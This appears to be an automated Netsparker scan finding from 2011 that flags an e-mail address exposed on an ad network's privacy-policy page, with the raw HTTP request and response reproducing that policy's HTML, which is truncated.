src="/scripts/jquery/jquery-ui-1.8.9.custom.min.js"></script><script type="text/javascript" src="/scripts/jquery/jquery-ui.selectmenu.js"></script><script type="text/javascript" src="/scripts/fonts/cufon.js"></script><script type="text/javascript" src="/scripts/fonts/interstate.font.js"></script><script type="text/javascript" src="/scripts/fonts/interstate-condensed.font.js"></script><script type="text/javascript" src="/scripts/application.js"></script><style> #heading { margin-bottom:0px; }</style><!--[if IE 7]> <style> #page_header { position:static; } </style><![endif]--></head><body> <div class="page_container"> <div id="global_header"> <script> $(function() { //remove the login menu on body click $('body').bind('click', function() { $('#login_panel').removeClass('ui-selectmenu-open'); $('.login_nav_item').removeClass('login_nav_item_hover'); }); //stop propagation when the login menu is clicked $('#topnavigation .login_nav_item').bind('click', function(event) { event.stopPropagation(); }); //remove the login menu on nav item hover $('#topnavigation ul.navigation li a').bind('mouseover', function() { $('#login_panel').removeClass('ui-selectmenu-open'); $('.login_nav_item').removeClass('login_nav_item_hover'); }); //show login menu $('#topnavigation .login_nav_item').attr('onClick', 'return false;').parent().bind('mouseover', function() { $(this).find('a:first').addClass('login_nav_item_hover'); $('#login_panel').addClass('ui-selectmenu-open'); }); //hover effect on login menu items $('#login_panel li').bind('mouseover', function() { $(this).addClass('ui-selectmenu-item-focus').addClass('ui-state-hover'); }).bind('mouseout', function() { $(this).removeClass('ui-selectmenu-item-focus').removeClass('ui-state-hover'); }); //united states should always be selected $('#i18n_menu_options').val('http://www.specificmedia.com/'); $('#i18n_menu_options').selectmenu({ width:140, change: function(e) { window.location = e.target.value; } }); });</script><!--[if IE 9]> <style>#login_panel { right:67px; }</style><![endif]--><div id="sm_logo"> <a href="/"><img src="/images/sm-logo.png" alt="Specific Media" /></a></div><div id="i18n"> <div id="i18n_menu"> <select id="i18n_menu_options"> <option value="http://www.specificmedia.com/" selected="selected">United States</option> <option value="http://www.specificmedia.co.uk/">United Kingdom</option> <option value="http://www.specificmedia.fr/">France</option> <option value="http://www.specificmedia.de/">Germany</option> <option value="http://www.specificmedia.dk/">Denmark</option> <option value="http://www.specificmedia.no/">Norway</option> <option value="http://www.specificmedia.se/">Sweden</option> <option value="http://www.specificmedia.nl/">Netherlands</option> </select> </div> <span id="i18n_atlas" class="atlas"></span></div><div class="clear"></div><div id="topnavigation"> <ul class="navigation"> <li> <a class="top_level_nav_item" href="/advertising">Advertising</a> </li> <li> <a class="top_level_nav_item" href="/original-programming">Original Programming</a> </li> <li> <a class="top_level_nav_item" href="/insights">Insights</a> </li> <li> <a class="top_level_nav_item" href="/news">News + Events</a> </li> <li> <a class="top_level_nav_item" href="/about">About Us</a> </li> <li> <a class="login_nav_item" href="/login">Login</a> </li></ul></div><ul id="login_panel" class="ui-selectmenu-menu ui-widget ui-widget-content ui-selectmenu-menu-dropdown ui-corner-bottom"> <li><a href="http://reporting.specificmedia.com/">Premium Network</a></li> <li><a href="http://leads.specificmedia.com/">Performance Network</a></li></ul> </div> </div> <div id="page_header"> <div id="banner"> <h1>Privacy Policy</h1> </div> <div class="page_container"> <div id="subnavigation"> </div> <div id="blocks"></div> </div> </div> <div class="page_container"> <div id="main"> <div id="heading"> <div id="breadcrumbs" class="standard_panel"> </div> </div> <div id="content"> <div class="fullpage_panel"> <style> ul.privacy_list { list-style-type:disc; margin-left:40px; } p#optout { text-align:center; } h5 { font-style:italic; }</style><script> var rand_id = '4dfbc34bb1d15'; var remote_ip = '173.193.214.243'; $(function() { $('#buttonmap').bind('click', function() { $.ajax({ type: "GET", dataType: "text", url: '/main/index/optout', data: { type: 'optout', rid: rand_id, rip: remote_ip }, success: function(data) { $('#optout').empty().html('<img src="http://notrack.specificmedia.com/new/CookieCheckTest.php?corp=1&optout=1" />'); _gaq.push(['_trackEvent', 'Privacy', 'Opt Out']); }, error: function(){ } }); }); });</script><h1>Our commitment to protecting people’s privacy online is as serious as our dedication to providing the most relevant advertising.</h1><p>Specific Media takes the issue of user privacy on the internet very seriously and the following is intended to be a plain English explanation of the approach we currently employ. We always welcome comments on our privacy policy and constantly strive to maintain a privacy policy which improves the service we provide to advertisers, publishers and web users in general.</p><h2>What We Do</h2><p>Specific Media is an online advertising network. We work with hundreds of websites in the US, UK, France, Germany, Denmark, Sweden, Norway, and the Netherlands buying display (image) advertising space and re-selling it in carefully targeted packages to advertisers and agencies. The targeting options we offer range from simple geographic locations, to more complicated targeting involving user’s interests. As we target, we identify the sites and groups of users that are most likely to create a response to an advertiser's campaign.</p><h2>What Data We Collect</h2><h5>Cookie and Pixel Information</h5><p>Cookies and pixels provide us with the ability to create an ID in order for us to match collected data to an anonymous machine including: </p><ul class="privacy_list"> <li><p>The URLs (or website address) of web pages which have been viewed</p></li> <li><p>The date and time of visit to a web page</p></li> <li><p>Whether the user has clicked on an ad of one of our Advertisers, visited their website, or undertaken a transaction with them</p></li></ul><h5>Session Information</h5><p>This information relates to user, campaign and interest-based history and is used for frequency capping and interest targeting. This information is gathered from websites visited and clicks registered by the user’s machine.</p><h5>Request-based Information</h5><p>This information is passed to us by the user’s computer browser with every request and is stored entirely anonymously for statistical purposes only: </p><ul class="privacy_list"> <li><p>IP (Internet Protocol) addresses - Every device connected to the Internet has an IP address. This cannot be traced to an individual user but can be used for geographic targeting and statistical measurements</p></li> <li><p>Browser type - e.g. Are you using Microsoft Explorer or Apple’s Safari</p></li> <li><p>Computer Operating System - e.g. Are you using Windows Vista or Apple OS</p></li></ul><p>We may purchase anonymous data from third-party sources. This data is anonymous and is used to update existing user profiles. We do not share, rent or sell any of the data acquired from third party sources.</p><h2>Personally Identifiable Information (PII)</h2><p>We do not collect any personally identifiable information. The IAB (Internet Advertising Bureau), which is a trade association for the internet marketing industry, defines personally identifiable information as 'information that can be traced back to a specific user and provide personal information such as name, address, phone number, etc.' In other words, it's information about you that can identify you as a person rather than an anonymous profile.</p><p>All of our profiles are anonymous, and relate to a computer rather than a user. For us, they are nothing more than a number with which we associate interests and/or an estimated or inferred demographic profile.</p><h2>Cookies and Pixels</h2><p>Cookies are small text files that are stored within a folder on your computer and are used only by your Internet browser. They are not programs or applications – they are merely a marker of our previous contact with you. They take up a tiny amount of space on your computer (less than a regular webpage without images does) and can be used to uniquely, but anonymously, identify your computer.</p><p>Most websites use cookies to identify users and improve the user experience.</p><p>The Specific Media cookie does not harm your computer in any way or provide us with any information about your identity. The Specific Media cookie is not spyware or adware.</p><p>The general definition of spyware/adware is that of a software package installed on your computer for purposes of monitoring all your internet or general computer activity. We do not install software of any kind on your computer and have no ability to monitor or track your general computer or overall internet usage. Cookies can be easily avoided by opting out from them, or adjusting your browser settings.</p><p>Pixels are small text files used to track website visitation and actions taken by users on these websites. The information collected from the pixel is stored in the cookie.</p><h2>How We Use This Data</h2><p>Specific Media uses the information collected to target advertising campaigns more effectively. The aim is for you to see ads which you are more likely to be interested in, rather than ads that you aren't. We do this by comparing the information relating to the machine’s anonymous profile, against our selection of ad campaigns and choosing the most suitable advertisement. It's important to understand that Specific Media can only create these profiles and display ads to you when you visit a website that we have a relationship with.</p><p>Most websites you visit will not charge you, but are funded by the ads that you view. The more effective the advertising on a site, the more money it can generate from fewer ads – reducing the clutter and invasiveness of the advertising on their websites. Identifying anonymous profiles allows Specific Media to offer an improved online experience for you, increased performance to our advertisers and enhanced revenues for our websites.</p><p>We do not sell, rent or share any of the anonymous data to third-parties.</p><h2>Data Retention</h2><p>Specific Media maintains all server log data (see ‘What data we collect’) and data stored in the cookie for a period of 12 months to comply with audits, court order or law enforcement inquiries. After 12 months all of the stored data is destroyed. Summarized data is kept indefinitely. Summarized data is aggregated statistical data (impressions and clicks) used for financial reporting purposes.</p><h2>Action Attribution</h2><p>To gain a greater understanding of a site's performance, or a user's general interests, we use a variety of technologies to determine which websites in our network the user visited previously and/or where the user clicked on an advertisement. Using this information, we can calculate which websites and/or which broad interest characteristic of a user is likely to best respond to a particular campaign. This takes two forms:</p><ul class="privacy_list"> <li> <h2>Performance Attribution</h2> <p>We monitor the sales, signups or visits to certain predetermined pages on our advertisers' websites. We reconcile these page 'hits' back to the ads that were shown to allow us to manage advertising campaign delivery, and report on this to our advertisers and publishers. We use cookies to limit the number of ads any individual computer is exposed to.</p> </li> <li> <h2>User Interest Profiling</h2> <p>To create a user interest profile, we observe which websites within our network users have interacted, and we determine what topics those websites are about. This information is combined to generate an anonymous interest profile for specific computers.</p> <p>Depending on the content of the sites users visit, we build an anonymous profile which contains information on potential interests and a statistical estimate of their likely demographic. For example, if a user visits a sports site within our network then we may classify them as broadly interested in that sport. All data that we use is stored anonymously.</p> </li></ul><h2>Opting Out</h2><p>Specific Media is a member of NAI, the <a href="http://www.networkadvertising.org/">Network Advertising Initiative</a>, a coalition of online advertising networks that provides an opportunity for consumers to opt-out of targeted advertising by member companies.</p><p>If you prefer not to have online advertising tailored to a user interest profile, you may opt out at any time by one of the following methods:</p><ul> <li><p>Opt out of targeting from all NAI member networks by visiting the Network Advertising Initiative at <a href="http://www.networkadvertising.org/managing/opt_out.asp">networkadvertising.org/managing/opt_out.asp</a>. This uses a cookie that blocks the use of any kind of targeting methodology. Once the opt out cookie is placed in the user profile all tracking and targeting methodologies are rendered inoperative. We absolutely do not utilize cookies, pixels or any other method of tracking or targeting when the opt out cookie is present in a user profile. Please note that as with any cookie, if you delete your cookies, change browsers, or use a different computer, you will need to opt out again.</p></li> <li> <p>Opt out of Specific Media’s user interest targeting cookie by clicking the button below. Please note that if you delete your cookies, change browsers, or use a different computer, you will need to opt out again.</p> <p id="optout"> <img id="optout-status" src="http://notrack.specificmedia.com/new/CookieCheckTest.php?corp=1" usemap="#buttonmap" alt="optout" width="399" height="114" /> <map id="buttonmap" name="buttonmap"><area shape="rect" coords="137, 33, 261, 74" style="cursor:pointer;" /></map> </p> </li> <li><p>Disable cookies in your browser (typically under Tools-Options-Privacy, but this varies between browser types and versions). Please note that cookies are used for a variety of reasons, not just targeting advertising, so this may adversely impact your online experience.</p></li></ul><p>It should also be noted that opting out does not mean you will not see advertisements online, but these advertisements will not be targeted based on your online user interest profile from us as an individual vendor.</p><h2>Security</h2><p>If you provide us with your contact or business information in order to conduct business with us as an advertiser or publisher, Specific Media uses commercially reasonable physical, managerial, and technical safeguards to preserve the integrity and security of your information. We cannot, however, ensure or warrant the security of any information you transmit to Specific Media and you do so at your own risk.</p><p>Specific Media takes appropriate security measures to protect against unauthorized access to or unauthorized alteration, disclosure or destruction of data. These include internal reviews of our data collection, storage and processing practices and security measures, as well as physical se..
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /privacy

/privacy

http://www.specificmedia.com/privacy?rid=4dfbc34bb1d15

Found E-mails

privacy@specificmedia.com

Request

GET /privacy?rid=4dfbc34bb1d15 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.specificmedia.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 200 OK
Date: Fri, 17 Jun 2011 21:13:13 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8127
Connection: close
Content-Type: text/html; charset=ISO-8859-1


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head> <title>Privacy Policy - Specific Media</title><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" ><link href="/assets/favicon.ico" rel="icon" ><link href="/styles/layout.master.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/layout.sprite.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery.themes/ui-custom-current/jquery-ui-1.8.10.custom.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery-ui.selectmenu.css" media="screen" rel="stylesheet" type="text/css" ><link href="/styles/jquery-simplemodal.css" media="screen" rel="stylesheet" type="text/css" ><script type="text/javascript" src="http://code.jquery.com/jquery-1.5.1.min.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.timeago.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.simplemodal.min.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.form.js"></script><script type="text/javascript" src="/scripts/jquery/plugins/jquery.validate.js"></script><script type="text/javascript" src="/scripts/jquery/jquery-ui-1.8.9.custom.min.js"></script><script type="text/javascript" src="/scripts/jquery/jquery-ui.selectmenu.js"></script><script type="text/javascript" src="/scripts/fonts/cufon.js"></script><script type="text/javascript" src="/scripts/fonts/interstate.font.js"></script><script type="text/javascript" src="/scripts/fonts/interstate-condensed.font.js"></script><script type="text/javascript" src="/scripts/application.js"></script><style> #heading { margin-bottom:0px; }</style><!--[if IE 7]> <style> #page_header { position:static; } </style><![endif]--></head><body> <div class="page_container"> <div id="global_header"> <script> $(function() { //remove the login menu on body click $('body').bind('click', function() { $('#login_panel').removeClass('ui-selectmenu-open'); $('.login_nav_item').removeClass('login_nav_item_hover'); }); //stop propagation when the login menu is clicked $('#topnavigation .login_nav_item').bind('click', function(event) { event.stopPropagation(); }); //remove the login menu on nav item hover $('#topnavigation ul.navigation li a').bind('mouseover', function() { $('#login_panel').removeClass('ui-selectmenu-open'); $('.login_nav_item').removeClass('login_nav_item_hover'); }); //show login menu $('#topnavigation .login_nav_item').attr('onClick', 'return false;').parent().bind('mouseover', function() { $(this).find('a:first').addClass('login_nav_item_hover'); $('#login_panel').addClass('ui-selectmenu-open'); }); //hover effect on login menu items $('#login_panel li').bind('mouseover', function() { $(this).addClass('ui-selectmenu-item-focus').addClass('ui-state-hover'); }).bind('mouseout', function() { $(this).removeClass('ui-selectmenu-item-focus').removeClass('ui-state-hover'); }); //united states should always be selected $('#i18n_menu_options').val('http://www.specificmedia.com/'); $('#i18n_menu_options').selectmenu({ width:140, change: function(e) { window.location = e.target.value; } }); });</script><!--[if IE 9]> <style>#login_panel { right:67px; }</style><![endif]--><div id="sm_logo"> <a href="/"><img src="/images/sm-logo.png" alt="Specific Media" /></a></div><div id="i18n"> <div id="i18n_menu"> <select id="i18n_menu_options"> <option value="http://www.specificmedia.com/" selected="selected">United States</option> <option value="http://www.specificmedia.co.uk/">United Kingdom</option> <option value="http://www.specificmedia.fr/">France</option> <option value="http://www.specificmedia.de/">Germany</option> <option value="http://www.specificmedia.dk/">Denmark</option> <option value="http://www.specificmedia.no/">Norway</option> <option value="http://www.specificmedia.se/">Sweden</option> <option value="http://www.specificmedia.nl/">Netherlands</option> </select> </div> <span id="i18n_atlas" class="atlas"></span></div><div class="clear"></div><div id="topnavigation"> <ul class="navigation"> <li> <a class="top_level_nav_item" href="/advertising">Advertising</a> </li> <li> <a class="top_level_nav_item" href="/original-programming">Original Programming</a> </li> <li> <a class="top_level_nav_item" href="/insights">Insights</a> </li> <li> <a class="top_level_nav_item" href="/news">News + Events</a> </li> <li> <a class="top_level_nav_item" href="/about">About Us</a> </li> <li> <a class="login_nav_item" href="/login">Login</a> </li></ul></div><ul id="login_panel" class="ui-selectmenu-menu ui-widget ui-widget-content ui-selectmenu-menu-dropdown ui-corner-bottom"> <li><a href="http://reporting.specificmedia.com/">Premium Network</a></li> <li><a href="http://leads.specificmedia.com/">Performance Network</a></li></ul> </div> </div> <div id="page_header"> <div id="banner"> <h1>Privacy Policy</h1> </div> <div class="page_container"> <div id="subnavigation"> </div> <div id="blocks"></div> </div> </div> <div class="page_container"> <div id="main"> <div id="heading"> <div id="breadcrumbs" class="standard_panel"> </div> </div> <div id="content"> <div class="fullpage_panel"> <style> ul.privacy_list { list-style-type:disc; margin-left:40px; } p#optout { text-align:center; } h5 { font-style:italic; }</style><script> var rand_id = '4dfbc34bb1d15'; var remote_ip = '173.193.214.243'; $(function() { $('#buttonmap').bind('click', function() { $.ajax({ type: "GET", dataType: "text", url: '/main/index/optout', data: { type: 'optout', rid: rand_id, rip: remote_ip }, success: function(data) { $('#optout').empty().html('<img src="http://notrack.specificmedia.com/new/CookieCheckTest.php?corp=1&optout=1" />'); _gaq.push(['_trackEvent', 'Privacy', 'Opt Out']); }, error: function(){ } }); }); });</script><h1>Our commitment to protecting people’s privacy online is as serious as our dedication to providing the most relevant advertising.</h1><p>Specific Media takes the issue of user privacy on the internet very seriously and the following is intended to be a plain English explanation of the approach we currently employ. We always welcome comments on our privacy policy and constantly strive to maintain a privacy policy which improves the service we provide to advertisers, publishers and web users in general.</p><h2>What We Do</h2><p>Specific Media is an online advertising network. We work with hundreds of websites in the US, UK, France, Germany, Denmark, Sweden, Norway, and the Netherlands buying display (image) advertising space and re-selling it in carefully targeted packages to advertisers and agencies. The targeting options we offer range from simple geographic locations, to more complicated targeting involving user’s interests. As we target, we identify the sites and groups of users that are most likely to create a response to an advertiser's campaign.</p><h2>What Data We Collect</h2><h5>Cookie and Pixel Information</h5><p>Cookies and pixels provide us with the ability to create an ID in order for us to match collected data to an anonymous machine including: </p><ul class="privacy_list"> <li><p>The URLs (or website address) of web pages which have been viewed</p></li> <li><p>The date and time of visit to a web page</p></li> <li><p>Whether the user has clicked on an ad of one of our Advertisers, visited their website, or undertaken a transaction with them</p></li></ul><h5>Session Information</h5><p>This information relates to user, campaign and interest-based history and is used for frequency capping and interest targeting. This information is gathered from websites visited and clicks registered by the user’s machine.</p><h5>Request-based Information</h5><p>This information is passed to us by the user’s computer browser with every request and is stored entirely anonymously for statistical purposes only: </p><ul class="privacy_list"> <li><p>IP (Internet Protocol) addresses - Every device connected to the Internet has an IP address. This cannot be traced to an individual user but can be used for geographic targeting and statistical measurements</p></li> <li><p>Browser type - e.g. Are you using Microsoft Explorer or Apple’s Safari</p></li> <li><p>Computer Operating System - e.g. Are you using Windows Vista or Apple OS</p></li></ul><p>We may purchase anonymous data from third-party sources. This data is anonymous and is used to update existing user profiles. We do not share, rent or sell any of the data acquired from third party sources.</p><h2>Personally Identifiable Information (PII)</h2><p>We do not collect any personally identifiable information. The IAB (Internet Advertising Bureau), which is a trade association for the internet marketing industry, defines personally identifiable information as 'information that can be traced back to a specific user and provide personal information such as name, address, phone number, etc.' In other words, it's information about you that can identify you as a person rather than an anonymous profile.</p><p>All of our profiles are anonymous, and relate to a computer rather than a user. For us, they are nothing more than a number with which we associate interests and/or an estimated or inferred demographic profile.</p><h2>Cookies and Pixels</h2><p>Cookies are small text files that are stored within a folder on your computer and are used only by your Internet browser. They are not programs or applications – they are merely a marker of our previous contact with you. They take up a tiny amount of space on your computer (less than a regular webpage without images does) and can be used to uniquely, but anonymously, identify your computer.</p><p>Most websites use cookies to identify users and improve the user experience.</p><p>The Specific Media cookie does not harm your computer in any way or provide us with any information about your identity. The Specific Media cookie is not spyware or adware.</p><p>The general definition of spyware/adware is that of a software package installed on your computer for purposes of monitoring all your internet or general computer activity. We do not install software of any kind on your computer and have no ability to monitor or track your general computer or overall internet usage. Cookies can be easily avoided by opting out from them, or adjusting your browser settings.</p><p>Pixels are small text files used to track website visitation and actions taken by users on these websites. The information collected from the pixel is stored in the cookie.</p><h2>How We Use This Data</h2><p>Specific Media uses the information collected to target advertising campaigns more effectively. The aim is for you to see ads which you are more likely to be interested in, rather than ads that you aren't. We do this by comparing the information relating to the machine’s anonymous profile, against our selection of ad campaigns and choosing the most suitable advertisement. It's important to understand that Specific Media can only create these profiles and display ads to you when you visit a website that we have a relationship with.</p><p>Most websites you visit will not charge you, but are funded by the ads that you view. The more effective the advertising on a site, the more money it can generate from fewer ads – reducing the clutter and invasiveness of the advertising on their websites. Identifying anonymous profiles allows Specific Media to offer an improved online experience for you, increased performance to our advertisers and enhanced revenues for our websites.</p><p>We do not sell, rent or share any of the anonymous data to third-parties.</p><h2>Data Retention</h2><p>Specific Media maintains all server log data (see ‘What data we collect’) and data stored in the cookie for a period of 12 months to comply with audits, court order or law enforcement inquiries. After 12 months all of the stored data is destroyed. Summarized data is kept indefinitely. Summarized data is aggregated statistical data (impressions and clicks) used for financial reporting purposes.</p><h2>Action Attribution</h2><p>To gain a greater understanding of a site's performance, or a user's general interests, we use a variety of technologies to determine which websites in our network the user visited previously and/or where the user clicked on an advertisement. Using this information, we can calculate which websites and/or which broad interest characteristic of a user is likely to best respond to a particular campaign. This takes two forms:</p><ul class="privacy_list"> <li> <h2>Performance Attribution</h2> <p>We monitor the sales, signups or visits to certain predetermined pages on our advertisers' websites. We reconcile these page 'hits' back to the ads that were shown to allow us to manage advertising campaign delivery, and report on this to our advertisers and publishers. We use cookies to limit the number of ads any individual computer is exposed to.</p> </li> <li> <h2>User Interest Profiling</h2> <p>To create a user interest profile, we observe which websites within our network users have interacted, and we determine what topics those websites are about. This information is combined to generate an anonymous interest profile for specific computers.</p> <p>Depending on the content of the sites users visit, we build an anonymous profile which contains information on potential interests and a statistical estimate of their likely demographic. For example, if a user visits a sports site within our network then we may classify them as broadly interested in that sport. All data that we use is stored anonymously.</p> </li></ul><h2>Opting Out</h2><p>Specific Media is a member of NAI, the <a href="http://www.networkadvertising.org/">Network Advertising Initiative</a>, a coalition of online advertising networks that provides an opportunity for consumers to opt-out of targeted advertising by member companies.</p><p>If you prefer not to have online advertising tailored to a user interest profile, you may opt out at any time by one of the following methods:</p><ul> <li><p>Opt out of targeting from all NAI member networks by visiting the Network Advertising Initiative at <a href="http://www.networkadvertising.org/managing/opt_out.asp">networkadvertising.org/managing/opt_out.asp</a>. This uses a cookie that blocks the use of any kind of targeting methodology. Once the opt out cookie is placed in the user profile all tracking and targeting methodologies are rendered inoperative. We absolutely do not utilize cookies, pixels or any other method of tracking or targeting when the opt out cookie is present in a user profile. Please note that as with any cookie, if you delete your cookies, change browsers, or use a different computer, you will need to opt out again.</p></li> <li> <p>Opt out of Specific Media’s user interest targeting cookie by clicking the button below. Please note that if you delete your cookies, change browsers, or use a different computer, you will need to opt out again.</p> <p id="optout"> <img id="optout-status" src="http://notrack.specificmedia.com/new/CookieCheckTest.php?corp=1" usemap="#buttonmap" alt="optout" width="399" height="114" /> <map id="buttonmap" name="buttonmap"><area shape="rect" coords="137, 33, 261, 74" style="cursor:pointer;" /></map> </p> </li> <li><p>Disable cookies in your browser (typically under Tools-Options-Privacy, but this varies between browser types and versions). Please note that cookies are used for a variety of reasons, not just targeting advertising, so this may adversely impact your online experience.</p></li></ul><p>It should also be noted that opting out does not mean you will not see advertisements online, but these advertisements will not be targeted based on your online user interest profile from us as an individual vendor.</p><h2>Security</h2><p>If you provide us with your contact or business information in order to conduct business with us as an advertiser or publisher, Specific Media uses commercially reasonable physical, managerial, and technical safeguards to preserve the integrity and security of your information. We cannot, however, ensure or warrant the security of any information you transmit to Specific Media and you do so at your own risk.</p><p>Specific Media takes appropriate security measures to protect against unauthorized access to or unauthorized alteration, disclosure or destruction of data. These include internal reviews of our data collection, storage and processing practices and security measures, as well as physical se..